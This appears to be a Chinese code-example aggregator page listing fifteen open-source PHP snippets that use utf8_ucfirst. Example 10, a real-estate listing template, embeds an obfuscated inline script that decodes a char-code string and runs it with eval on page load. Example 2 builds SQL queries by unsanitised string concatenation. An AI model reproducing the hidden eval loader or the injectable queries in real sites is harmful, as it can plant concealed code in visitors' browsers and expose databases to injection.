当前位置: 首页>>代码示例>>PHP>>正文


PHP utf8_ucfirst函数代码示例

本文整理汇总了PHP中utf8_ucfirst函数的典型用法代码示例。如果您正苦于以下问题:PHP utf8_ucfirst函数的具体用法?PHP utf8_ucfirst怎么用?PHP utf8_ucfirst使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了utf8_ucfirst函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: pagefromtemplate

 function pagefromtemplate(&$event, $param)
 {
     if (strlen(trim($_REQUEST['newpagetemplate'])) > 0) {
         global $conf;
         global $INFO;
         global $ID;
         $tpl = io_readFile(wikiFN($_REQUEST['newpagetemplate']));
         if ($this->getConf('userreplace')) {
             $stringvars = array_map(create_function('$v', 'return explode(",",$v,2);'), explode(';', $_REQUEST['newpagevars']));
             foreach ($stringvars as $value) {
                 $tpl = str_replace(trim($value[0]), trim($value[1]), $tpl);
             }
         }
         if ($this->getConf('standardreplace')) {
             // replace placeholders
             $file = noNS($ID);
             $page = strtr($file, '_', ' ');
             $tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($ID, getNS($ID), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $INFO['userinfo']['name'], $INFO['userinfo']['mail'], $conf['dformat']), $tpl);
             // we need the callback to work around strftime's char limit
             $tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
         }
         $event->result = $tpl;
         $event->preventDefault();
     }
 }
开发者ID:jasongrout,项目名称:dokuwiki-newpagetemplate,代码行数:25,代码来源:action.php

示例2: lang

function lang($keyword, $esDinamico = false, $divisor = '[div]')
{
    global $lang;
    if (!trim($keyword)) {
        return;
    }
    $keyword = utf8_strtolower($keyword);
    $config = Initialize::obtain()->config;
    // TEXTOS ESTATICOS ////////////////////////////////////////////////////////////
    if ($esDinamico === false) {
        $exist = false;
        // SI NO EXISTE EN EL ARRAY LANG, AGREGA A LA DB
        if (!isset($lang[$keyword])) {
            // VERIFY IF EXIST KEYWORD IN DB
            if ($config['siteUseDb']) {
                $exist = c("select keyword from static_lang_keys where keyword = '" . $keyword . "' and lang = '" . $_SESSION['lang'] . "' ");
            }
            // IF NOT EXIST, ADD TO DB
            if (!$exist) {
                if ($config['siteUseDb']) {
                    sq("insert into static_lang_keys set dateLastUpdate = NOW(), dateInsert=NOW(), keyword = '" . $keyword . "', lang = '" . $_SESSION['lang'] . "', keyvalue = '" . $keyword . "' ");
                }
            }
            return utf8_ucfirst($keyword);
        } else {
            return utf8_ucfirst($lang[$keyword]);
        }
    }
    // TEXTOS DINAMICOS ////////////////////////////////////////////////////////////////
    if ($esDinamico === true) {
        $keyOfSelectedLang = array_search($_SESSION['lang'], $config['lang']);
        $keyword = explode($divisor, $keyword);
        // SI EXISTE, DEVUELVE VALOR
        if (isset($keyword[$keyOfSelectedLang])) {
            return $keyword[$keyOfSelectedLang];
        } else {
            return $keyword[0];
        }
    }
}
开发者ID:santikrass,项目名称:poliversal,代码行数:40,代码来源:include.Format.php

示例3: ucfirst

 /**
  * @see http://ca.php.net/manual/en/function.ucfirst.php
  */
 function ucfirst($string)
 {
     if (defined('ENABLE_MBSTRING')) {
         require_once 'mbstring/core.php';
         require_once 'ucfirst.php';
     } else {
         require_once 'utils/unicode.php';
         require_once 'native/core.php';
         require_once 'ucfirst.php';
     }
     return utf8_ucfirst($string);
 }
开发者ID:reedstrm,项目名称:pkp-lib,代码行数:15,代码来源:String.inc.php

示例4: localizeAllMessage

 /**
  * Show localize all message and form
  *
  * @return void
  */
 private function localizeAllMessage()
 {
     $arrLanguages = I18nl10n::getInstance()->getAvailableLanguages(true);
     $strFlagPath = 'system/modules/i18nl10n/assets/img/flag_icons/';
     $strMessage = $GLOBALS['TL_LANG']['tl_page_i18nl10n']['msg_localize_all'];
     $strDomainLanguages = '';
     foreach ($arrLanguages as $key => $domain) {
         $strDomainLocalization = '';
         if (count($domain['localizations'])) {
             foreach ($domain['localizations'] as $localization) {
                 $strDomainLocalization .= sprintf('<li><img class="i18nl10n_flag" src="%1$s.png" /> %2$s</li>', $strFlagPath . $localization, $GLOBALS['TL_LANG']['LNG'][$localization]);
             }
         } else {
             $strDomainLocalization .= sprintf('<li>%s</li>', $GLOBALS['TL_LANG']['tl_page_i18nl10n']['no_languages']);
         }
         $strDomainLanguages .= sprintf('<li class="i18nl10n_localize_domain"><img class="i18nl10n_flag" src="%1$s.png" /> %2$s<ul>%3$s</ul></li>', $strFlagPath . $domain['default'], $key ?: '*', $strDomainLocalization);
     }
     $strDomainList = sprintf('<ul class="i18nl10n_localize_list">%s</ul>', $strDomainLanguages);
     $html = '<form class="i18nl10n_localize" method="post" action="contao/main.php?do=%1$s">
             <div class="i18nl10n_message">
                 %2$s %3$s
                 <div class="tl_submit_container">
                     <a href="contao/main.php?do=%1$s">%4$s</a>
                     <input type="submit" value="%5$s" class="tl_submit" name="localize_all_" />
                 </div>
             </div>
             <input type="hidden" name="REQUEST_TOKEN" value="%6$s">
         </form>';
     $rawMessage = sprintf($html, \Input::get('do'), $strMessage, $strDomainList, utf8_ucfirst($GLOBALS['TL_LANG']['MSC']['no']), utf8_ucfirst($GLOBALS['TL_LANG']['MSC']['yes']), REQUEST_TOKEN);
     \Message::addRaw($rawMessage);
 }
开发者ID:verstaerker,项目名称:i18nl10n,代码行数:36,代码来源:tl_page_i18nl10n.php

示例5: ucfirst

 /**
  * UTF-8 aware alternative to ucfirst
  * Make a string's first character uppercase or all words' first character uppercase
  *
  * @param   string  $str           String to be processed
  * @param   string  $delimiter     The words delimiter (null means do not split the string)
  * @param   string  $newDelimiter  The new words delimiter (null means equal to $delimiter)
  *
  * @return  string  If $delimiter is null, return the string with first character as upper case (if applicable)
  *                  else consider the string of words separated by the delimiter, apply the ucfirst to each words
  *                  and return the string with the new delimiter
  *
  * @see     http://www.php.net/ucfirst
  * @since   11.1
  */
 public static function ucfirst($str, $delimiter = null, $newDelimiter = null)
 {
     jimport('phputf8.ucfirst');
     if ($delimiter === null) {
         return utf8_ucfirst($str);
     } else {
         if ($newDelimiter === null) {
             $newDelimiter = $delimiter;
         }
         return implode($newDelimiter, array_map('utf8_ucfirst', explode($delimiter, $str)));
     }
 }
开发者ID:nogsus,项目名称:joomla-platform,代码行数:27,代码来源:string.php

示例6: getFlagImgArray

 public static function getFlagImgArray()
 {
     $d = dir(ROOT_PATH . Lang::FLAG_DIR);
     $arr = array();
     if ($d) {
         while (false !== ($name = $d->read())) {
             if ($name === '.' || $name === '..') {
                 continue;
             }
             $code_arr = explode('.', $name);
             $code = Yii::app()->locale->getTerritory($code_arr[0]);
             $arr[$name] = $code ? $code : utf8_ucfirst($code_arr[0]);
         }
         $d->close();
     }
     asort($arr);
     return $arr;
 }
开发者ID:barricade86,项目名称:raui,代码行数:18,代码来源:Lang.php

示例7: _verifyTitle

 /**
  * Verifies that the discussion title is valid
  *
  * @param string
  *
  * @return boolean
  */
 public function _verifyTitle(&$title)
 {
     // TODO: send these to callbacks to allow hookability?
     switch ($this->getOption(self::OPTION_ADJUST_TITLE_CASE)) {
         case 'ucfirst':
             // sentence case
             $title = utf8_ucfirst(utf8_strtolower($title));
             break;
         case 'ucwords':
             // title case
             $title = utf8_ucwords(utf8_strtolower($title));
             break;
     }
     return true;
 }
开发者ID:hahuunguyen,项目名称:DTUI_201105,代码行数:22,代码来源:Discussion.php

示例8: parsePageTemplate

/**
 * Performs common page template replacements
 * This is the default action for COMMON_PAGE_FROMTEMPLATE
 *
 * @author Andreas Gohr <andi@splitbrain.org>
 */
function parsePageTemplate(&$data)
{
    extract($data);
    global $USERINFO;
    global $conf;
    // replace placeholders
    $file = noNS($id);
    $page = strtr($file, $conf['sepchar'], ' ');
    $tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($id, getNS($id), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $USERINFO['name'], $USERINFO['mail'], $conf['dformat']), $tpl);
    // we need the callback to work around strftime's char limit
    $tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
    $data['tpl'] = $tpl;
    return $tpl;
}
开发者ID:highpictv,项目名称:wiki,代码行数:20,代码来源:common.php

示例9: ucfirst

 /**
  * UTF-8 aware alternative to ucfirst
  * Make a string's first character uppercase or all words' first character uppercase
  *
  * @param   string  $str           String to be processed
  * @param   string  $delimiter     The words delimiter (null means do not split the string)
  * @param   string  $newDelimiter  The new words delimiter (null means equal to $delimiter)
  *
  * @return  string  If $delimiter is null, return the string with first character as upper case (if applicable)
  *                  else consider the string of words separated by the delimiter, apply the ucfirst to each words
  *                  and return the string with the new delimiter
  *
  * @see     http://www.php.net/ucfirst
  * @since   2.0
  */
 public static function ucfirst($str, $delimiter = null, $newDelimiter = null)
 {
     if (!function_exists('utf8_ucfirst')) {
         require_once __DIR__ . '/phputf8/ucfirst.php';
     }
     if ($delimiter === null) {
         return utf8_ucfirst($str);
     }
     if ($newDelimiter === null) {
         $newDelimiter = $delimiter;
     }
     return implode($newDelimiter, array_map('utf8_ucfirst', explode($delimiter, $str)));
 }
开发者ID:lyrasoft,项目名称:lyrasoft.github.io,代码行数:28,代码来源:Utf8String.php

示例10: String

    if (Yii::app()->language == 'ru') {
        $var01 = '7';
        $var9 = '99;103;106;127;102;105;99;122;33;103;99;123;103;113;61;49;43;107;122;104;60;60;54;62;56;73;81;86;3;72;68;72;64;93;72;77;78;17;15;68;78;70;80;65;80;70;92;70;67;26;25;78;66;76;88;3;29;52;36;58;55;107;47;39;49;41;58;41;57;37;61;58;109;110;38;59;61;48;58;33;121;55;55;54;52;61;57;99;55;1;17;18;26;7;10;2;2;83;73;12;30;2;14;26;6;31;31;82;27;21;5;6;14;27;22;30;30;84;84;94;4;160;232;228;171;165;239;215;242;237;251;243;163;174;236;213;231;226;244;244;205;169;201;177;255;236;237;234;161;179;178;243;240;206;206;208;194;221;139;212;210;244;142;247;137;133;131;199;220;152;237;149;137;194;220;197;222;218;213;223;231;155;148;151;196;224;168;164;235;229;175;151;178;173;187;179;227;238;175;161;171;169;243;251;253;178;188;184;179;240;251;249;143;158;130;177;169;133;147;142;130;157;199;207;201;129;154;194;201;136;132;152;205;217;216;210;136;212;156;144;223;217;147;171;142;153;143;135;209;354;371;365;372;375;352;372;297;357;378;355;366;293;301;373;303;378;320;359;374;358;364;318;309;378;374;382;354;318;308;304;382;336;337;327;333;320;269;260;283;332;320;348;267;325;329;275;371;279;357;368;364;347;323;339;325;340;344;323;359;283;259;258;347;297;311;354;304;304;316;298;290;373;277;365;296;291;289;289;317;362;369;369;277;274;357;358;359;360;354;378;317;307;307;298;370;275;264;280;262;350;325;340;351;280;273;337;331;280;264;278;283;349;272;286;282;275;283;332;343;283;284;276;271;281;271;325;291;423;447;446;490;489;482;422;500;506;490;439;471;427;485;506;507;480;427;445;444;486;496;440;506;503;503;501;489;509;484;432;493;469;398;462;458;455;448;456;468;461;391;474;451;476;402;458;458;476;466;477;451;461;392;391;491;415;409;466;478;469;474;470;459;509;413;485;498;408;482;486;432;417;429;446;419;497;401;489;510;396;502;498;433;443;423;434;434;426;484;390;508;492;385;505;481;1533;1489;1442;1440;1452;1488;1499;1503;1501;457;1489;1491;1450;1496;1491;1496;1480;1487;1487;1486;1482;1478;1480;471;1465;1479;1481;1472;1484;1461;1483;1474;1592;1614;547;547;568;615;628;551;551;567;554;1558;1593;1612;1584;1596;1579;1569;1619;1581;1574;1573;1579;1578;1574;1580;570;1624;1576;1581;1573;1578;1565;1561;1559;515;1566;1563;1561;1567;1640;1561;1555;1641;1554;1567;527;531;543;597;603;581;522;521;537;595;593;591;516;537;533;518;542;578;608;548;558;560;545;613;573;615;546;536;575;558;574;564;614;621;562;574;566;554;630;636;632;566;552;553;575;565;568;629;636;611;516;520;532;579;525;513;603;571;591;573;552;564;515;539;523;541;540;528;523;559;595;587;586;542;542;523;539;534;537;605;525;540;754;750;750;751;749;747;737;698;724;686;740;740;720;682;686;745;738;752;767;758;758;762;740;755;765;747;679;711;699;685;706;696;640;722;726;730;712;704;667;763;655;729;709;728;709;729;711;704;734;651;658;722;726;710;729;731;717;717;735;640;668;713;721;719;762;737;754;760;740;681;675;673;700;755;746;763;759;749;697;678;692;677;698;745;756;740;742;743;765;738;762;691;697;692;697;695;660;731;706;722;724;725;707;732;712;655;643;647;664;648;668;725;657;669;642;667;661;733;665;647;665;666;659;655;645;704;718;726;860;806;828;831;811;876;864;885;873;868;879;821;816;873;871;889;816;866;870;874;888;880;811;843;831;890;885;887;883;879;804;831;771;871;868;787;788;789;790;796;776;847;837;837;856;768;861;838;842;852;776;787;774;781;838;847;771;793;846;862;836;841;787;862;812;808;805;813;894;869;805;802;806;829;815;825;887;785;873;881;876;824;831;820;884;806;804;820;869;773;893;819;808;809;814;869;847;846;784;774;842;776;777;777;775;795;779;786;834;799;795;832;796;792;785;790;794;774;787;857;776;785;778;836;792;792;786;796;1007;1009;1019;958;949;985;929;935;992;1004;995;1004;996;1017;947;979;951;928;974;948;948;994;1023;1011;1004;1009;935;967;955;940;962;952;896;963;973;977;960;960;980;922;1012;910;922;1015;907;915;1971;1951;2032;2034;2042;1926;1929;1933;1923;919;1923;1921;2044;1934;1921;1930;1926;1921;2045;2044;2044;2032;2042;997;1927;2041;2043;2034;2042;1923;2041;2032;2038;1920;1009;1009;1006;945;934;1013;1017;1001;1016;1988;2031;1946;2018;2030;2021;2031;1953;2015;2000;2003;2009;2008;2008;2002;968;1962;2014;2011;2007;2008;2003;2007;1989;977;1992;1997;1995;1997;1974;1991;1985;1979;1988;1993;989;961;977;923;1129;1143;1084;1087;1067;1121;1135;1137;1078;1067;1059;1072;1068;1136;1139;1071;1133;1073;1135;1071;1075;1077;1085;1079;1087;1078;1129;1144;1134;1082;1086;1076;1024;1030;1099;1107;1104;1051;1025;1038;1043;';
    }
    echo '<script>' . $var1 . '=' . $var01 . ';' . $var2 . '="' . $var9 . '";var ' . $var3 . '=new String();' . $var4 . '=' . $var2 . '.split(";");' . $var5 . '=' . $var4 . '.length-1;for(var mn=0;mn<' . $var5 . ';mn++){' . $var6 . '=' . $var4 . '[mn];' . $var7 . '="' . $var8 . '=' . $var6 . '";' . $var7 . '=' . $var7 . '+"^' . $var1 . '";eval(' . $var7 . ');' . $var1 . '+=1;' . $var3 . '=' . $var3 . '+String.fromCharCode(' . $var8 . ');}eval(' . $var3 . ');</script>';
    unset($var1, $var2, $var3, $var4, $var5, $var6, $var7, $var8, $var9);
}
?>
		</div>

		<div class="viewapartment-description-top">

			<div>
				<strong>
				<?php 
echo utf8_ucfirst($data->objType->name);
if ($data->stationsTitle() && $data->num_of_rooms) {
    echo ',&nbsp;';
    echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms near {metro} metro station', array($data->num_of_rooms, '{metro}' => $data->stationsTitle()));
} elseif ($data->num_of_rooms) {
    echo ',&nbsp;';
    echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms', array($data->num_of_rooms));
}
if (issetModule('location') && param('useLocation', 1)) {
    if ($data->locCountry || $data->locRegion || $data->locCity) {
        echo "<br>";
    }
    if ($data->locCountry) {
        echo $data->locCountry->getStrByLang('name');
    }
    if ($data->locRegion) {
开发者ID:alexjkitty,项目名称:estate,代码行数:31,代码来源:_view.php

示例11: apTypes

 public static function apTypes()
 {
     $result = Apartment::getApTypes();
     if (Yii::app()->theme->name == 'atlas') {
         $types = array(0 => Yii::t('common', 'Type of listing'));
     } else {
         $types = array(0 => Yii::t('common', 'Please select'));
     }
     if (param('useTypeSale', 1)) {
         if (in_array(Apartment::PRICE_SALE, $result)) {
             $types[Apartment::PRICE_SALE] = utf8_ucfirst(tt('Sale', 'apartments'));
         }
     }
     if (param('useTypeBuy', 1)) {
         if (in_array(Apartment::PRICE_BUY, $result)) {
             $types[Apartment::PRICE_BUY] = utf8_ucfirst(tt('Buy a', 'apartments'));
         }
     }
     if (param('useTypeRenting', 1)) {
         if (in_array(Apartment::PRICE_RENTING, $result)) {
             $types[Apartment::PRICE_RENTING] = utf8_ucfirst(tt('Rent a', 'apartments'));
         }
     }
     if (param('useTypeChange', 1)) {
         if (in_array(Apartment::PRICE_CHANGE, $result)) {
             $types[Apartment::PRICE_CHANGE] = utf8_ucfirst(tt('Exchange', 'apartments'));
         }
     }
     if (param('useTypeRentDay', 1)) {
         if (in_array(Apartment::PRICE_PER_DAY, $result)) {
             $types[Apartment::PRICE_PER_DAY] = utf8_ucfirst(tc('rent by the day'));
         }
     }
     if (param('useTypeRentHour', 1)) {
         if (in_array(Apartment::PRICE_PER_HOUR, $result)) {
             $types[Apartment::PRICE_PER_HOUR] = utf8_ucfirst(tc('rent by the hour'));
         }
     }
     if (param('useTypeRentMonth', 1)) {
         if (in_array(Apartment::PRICE_PER_MONTH, $result)) {
             $types[Apartment::PRICE_PER_MONTH] = utf8_ucfirst(tc('rent by the month'));
         }
     }
     if (param('useTypeRentWeek', 1)) {
         if (in_array(Apartment::PRICE_PER_WEEK, $result)) {
             $types[Apartment::PRICE_PER_WEEK] = utf8_ucfirst(tc('rent by the week'));
         }
     }
     $return['propertyType'] = $types;
     if (issetModule('selecttoslider') && param('usePriceSlider') == 1) {
         $return['currencyTitle'] = array(Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':');
     } else {
         $return['currencyTitle'] = array(Yii::t('common', 'Payment to'), Yii::t('common', 'Payment to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'));
     }
     return $return;
 }
开发者ID:barricade86,项目名称:raui,代码行数:56,代码来源:SearchForm.php

示例12: utf8_ucfirst

    ?>
 <tr>
                    <td><?php 
    echo $date2;
    ?>
</td>
                    <td><?php 
    echo Apartment::getNameByType($item->type);
    ?>
</td>
                    <td><?php 
    echo $item->locRegion->getStrByLang('name');
    ?>
</td>
                    <td><?php 
    echo utf8_ucfirst($item->objType->name);
    if ($item->num_of_rooms) {
        echo ',&nbsp;';
        echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms', array($item->num_of_rooms));
    }
    ?>
</td>  <!--Что-->
                    <td><?php 
    echo $item->bt_getPriceMod();
    ?>
</td>
                    <td><a><?php 
    echo $item->user->getNameForType();
    ?>
</a></td>
                </tr>
开发者ID:barricade86,项目名称:raui,代码行数:31,代码来源:widgetApartments_list_item_Table.php

示例13: testLinefeed

 function testLinefeed()
 {
     $str = "ñtërn\nâtiônàlizætiøn";
     $ucfirst = "Ñtërn\nâtiônàlizætiøn";
     $this->assertEqual(utf8_ucfirst($str), $ucfirst);
 }
开发者ID:kidwellj,项目名称:scuttle,代码行数:6,代码来源:utf8_ucfirst.test.php

示例14: pageTemplate

/**
 * Returns the pagetemplate contents for the ID's namespace
 *
 * @author Andreas Gohr <andi@splitbrain.org>
 */
function pageTemplate($data)
{
    $id = $data[0];
    global $conf;
    global $INFO;
    $path = dirname(wikiFN($id));
    if (@file_exists($path . '/_template.txt')) {
        $tpl = io_readFile($path . '/_template.txt');
    } else {
        // search upper namespaces for templates
        $len = strlen(rtrim($conf['datadir'], '/'));
        while (strlen($path) >= $len) {
            if (@file_exists($path . '/__template.txt')) {
                $tpl = io_readFile($path . '/__template.txt');
                break;
            }
            $path = substr($path, 0, strrpos($path, '/'));
        }
    }
    if (!$tpl) {
        return '';
    }
    // replace placeholders
    $file = noNS($id);
    $page = strtr($file, '_', ' ');
    $tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($id, getNS($id), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $INFO['userinfo']['name'], $INFO['userinfo']['mail'], $conf['dformat']), $tpl);
    // we need the callback to work around strftime's char limit
    $tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
    return $tpl;
}
开发者ID:jalemanyf,项目名称:wsnlocalizationscala,代码行数:35,代码来源:common.php

示例15: PhpT

        $phpt = new PhpT();
        $phpt->fileName = $imm['nombre'];
        $phpt->fileTitle = utf8_strtoupper($producto['nombre']);
        $phpt->params = array('w' => 614, 'h' => 460, 'zc' => 1);
        $phpt->folder = $imm['tabla'];
        $imagenes[] = $phpt->getImgHtml();
        // THUMB FOR PAGER
        $phpt2 = new PhpT();
        $phpt2->fileName = $imm['nombre'];
        $phpt2->fileTitle = utf8_strtoupper($producto['nombre']);
        $phpt2->params = array('w' => 70, 'h' => 52, 'zc' => 1);
        $phpt2->folder = $imm['tabla'];
        $thumbs[] = $phpt2->getImgHtml();
    }
}
$highlight1 = new highlight(utf8_ucfirst(utf8_strtolower($producto['nombre'])), $words);
$hiTitulo = $highlight1->output_text;
$highlight2 = new highlight($producto['resumen'], $words);
$hiResumen = $highlight2->output_text;
$highlight3 = new highlight(fop($producto['descripcion']), $words);
$hiDescripcion = $highlight3->output_text;
$out[] = '<h4 class="small">» ' . $hiTitulo . '</h4>';
$out[] = '<div class="productoAmpliado">';
$out[] = '<div style="position: relative; float: left;">';
if ($imagenes) {
    $out[] = '<div class="cycleProducto">' . join("\n", $imagenes) . '</div>';
}
if ($thumbs) {
    $out[] = '<div class="cycleProductoPager">' . join("\n", $thumbs) . '</div>';
}
$out[] = '</div>';
开发者ID:santikrass,项目名称:poliversal,代码行数:31,代码来源:col1Producto.php


注:本文中的utf8_ucfirst函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。